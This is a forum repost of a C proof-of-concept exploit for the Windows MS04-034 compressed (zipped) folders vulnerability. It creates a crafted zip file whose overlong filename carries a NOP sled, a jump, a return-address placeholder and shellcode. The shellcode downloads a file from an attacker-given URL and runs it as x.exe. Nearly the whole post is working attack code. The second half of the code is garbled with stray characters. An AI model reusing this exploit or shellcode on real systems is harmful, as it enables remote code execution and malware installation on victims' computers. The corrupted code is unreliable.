数学建模社区-数学中国

标题: (MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders [打印本页]

作者: 韩冰 时间: 2004-11-21 10:51
标题: (MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ #include <stdio.h> #include <windows.h> #pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) }MIDDLEHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; /* * download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; DWORD c; UINT i; char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } url=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90;8 q/ N3 i7 R; m& b& m& H& u 6 C& X- T$ V) y; Q! ~+ n memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));) k& d: h, K7 X v4 l) p* P6 x3 _ memcpy(filename+0x1818,offset,strlen(offset));( F9 V/ ^1 P# S4 x5 c8 y & s" q# |. }7 M5 }2 y ?6 A' L" N" Bmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);+ X" o& X( p' A: {5 y# W memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); , M+ \- B# U. d2 Y! J7 rmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);6 @* y5 d9 k% v3 q4 g/ U . q$ E$ O" e$ O+ D4 a+ n memcpy(filename+(c-4),".txt",4); , H9 T) a5 E" ?* H. _& S1 i' |4 _ O) B' G, d+ U Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));0 s1 r7 B$ Y8 O Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); 0 b4 M2 [8 E: x8 h8 y1 ]7 `9 UCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));4 N; Z* N: F1 P8 j' _- t memset(Cabecera1,0,sizeof(TOPHEADER)); % t2 t4 m" J3 G2 t, a: Xmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); 8 a$ i7 o8 _/ R2 c2 Bmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); 5 x1 O3 u4 O+ x. O 8 W/ M$ ~- b$ f4 `# G///////////////////////////////////////////////////////////////////0 E& ?, N- @% w: \ I! b // TOPHEADER! V0 I9 \% ]& _- P8 X& v& z4 c /////////////////////////////////////////////////////////////////// ) `5 D a& f8 o g9 w* hCabecera1->Signature=0x04034B50; // DWORD9 |, r0 C/ B! a/ V& n Cabecera1->VersionNeeded=0x000A; // WORD9 U$ P8 ^' l) T7 x Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas9 c8 H5 h. D+ l2 k Cabecera1->CompressionMethod=0x0000; // WORD$ n* v- E0 Z: ~* g, U1 S/ I Cabecera1->ModFileTime=0x1362; // WORD+ K: X6 a: w! E( S( G e4 ^ Cabecera1->ModFileDate=0x3154; // WORD 8 f! ]7 }5 U1 T# S2 l) q$ bCabecera1->Crc32=0x85B36639; // DWORD( W( [5 ]% Y( |3 N& v3 Y Cabecera1->CompressedSize=0x00000015; // DWORD , J+ I% v" z- J/ t3 W2 f7 YCabecera1->UncompressedSize=0x00000015; // DWORD( g* |2 _$ T+ O; `' p& d# U Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);0 [9 s4 j( d' { Cabecera1->ExtraFieldLength=0x0000; // WORD8 H# Q& H5 d4 G ///////////////////////////////////////////////////////////////////3 u( N' ~ G/ x4 Z* X" ^ 4 O, l+ j) k8 O' q3 [# L7 b ///////////////////////////////////////////////////////////////////; l u! n3 I9 m8 G5 O) ~" j( Z // MIDDLEHEADER $ X! {7 L1 i9 V) B# ~( v/////////////////////////////////////////////////////////////////// # b! q0 H1 a% _5 Y) o6 P+ PCabecera2->Signature=0x02014B50; // DWORD / B/ O5 m) g0 F. O5 k! ]Cabecera2->MadeVersion=0x0014; // WORD , [( s* e, Z5 v, N lCabecera2->VersionNeeded=0x000A; // WORD4 ?, \, x9 |% H' y7 Q0 Q- ] Cabecera2->GeneralPurposeFlag=0x0002; // WORD 1 u3 G: T' X/ T5 {4 \+ g5 KCabecera2->CompressionMethod=0x0000; // WORD+ c. {% S' d8 l* b Cabecera2->ModFileTime=0x1362; // WORD& C8 ^5 F3 Q$ b- ~. X5 M Cabecera2->ModFileDate=0x3154; // WORD 4 {! i: C5 u3 U+ U0 PCabecera2->Crc32=0x85B36639; // DWORD6 E4 K2 B3 w; o Cabecera2->CompressedSize=0x00000015; // DWORD0 r* p( S' u. G f; j: O0 ?$ C1 g* Q0 \) [ Cabecera2->UncompressedSize=0x00000015; // DWORD3 @ U/ B: P5 U$ G. t Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); / w% C. u2 ?& ?( j& |$ x& ?Cabecera2->ExtraFieldLength=0x0000; // WORD 7 q9 {8 Y* y2 z/ Z( V9 KCabecera2->FileCommentLength=0x0000; // WORD( C* N8 ^8 o$ S9 \. g5 c% U* F# m Cabecera2->DiskNumberStart=0x0000; // WORD 6 J! I" M/ r( N, M# N% LCabecera2->InternalFileAttributes=0x0001; // WORD 3 H' f( F; P: u1 d4 [* X, d8 A. G* k% vCabecera2->ExternalFileAttributes=0x00000020; // DWORD. b/ i) Y" i+ i7 z Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD' u! W' N7 G9 P6 A# _& q3 L ///////////////////////////////////////////////////////////////////2 I0 X+ X( S% d$ O 5 } b2 `5 C1 k5 f- m/////////////////////////////////////////////////////////////////// 2 Y8 ]' Q" u& S* C! m7 E// BOTTOMHEADER - v* |3 o0 z' u& o3 X///////////////////////////////////////////////////////////////////4 c7 }' E2 b$ f$ G! u" S/ ` Cabecera3->Signature=0x06054B50; // DWORD8 i8 E w, [3 [ Cabecera3->NumOfThisDisk=0x0000; // WORD$ T+ O c$ O9 \/ F Q3 k Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD/ s, p- T: h. O0 k% h6 T Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD4 h! G- O: C" T. s3 S2 f Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD; P2 y: G+ h8 S) B) t, t Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD: o' q* U R3 o! f* y- D4 k Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD k/ [* s, Z) X& HCabecera3->ZipCommentLength=0x0000; // WORD8 o+ M3 E6 Y! R' _. C# @) q$ T ///////////////////////////////////////////////////////////////////+ m6 J% p* |( u; R8 Q) p 6 ? \/ S& \) t7 a4 rfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); / D# L$ V% B& A4 E9 I- r9 y - t# n- U0 P: n, V* _* D0 e* \ jfwrite(filename, c, 1,ZipFile); , S' U" }% S( c* j: J! M: Ufwrite(DATOS,strlen(DATOS),1,ZipFile);: |6 T1 S( w. h; l' c 4 J v: n" K- ~ W7 T8 I1 | fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 1 J. _/ }7 I" ~, S3 s7 a' ~fwrite(filename, c, 1,ZipFile); 1 L1 |& M8 g0 _* sfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);" m" D( J5 O- I, B0 k ; F4 B* v9 L: k fclose(ZipFile);3 S* K( u" k# f printf("\n * prueba.zip created\n");8 n, k. K4 x T, N) b5 g) Q; S return 1; ' k' r- j9 d' ]. Y9 o}//downloaded from milw0rm.com 3 n/ |: k P, \- p

欢迎光临数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5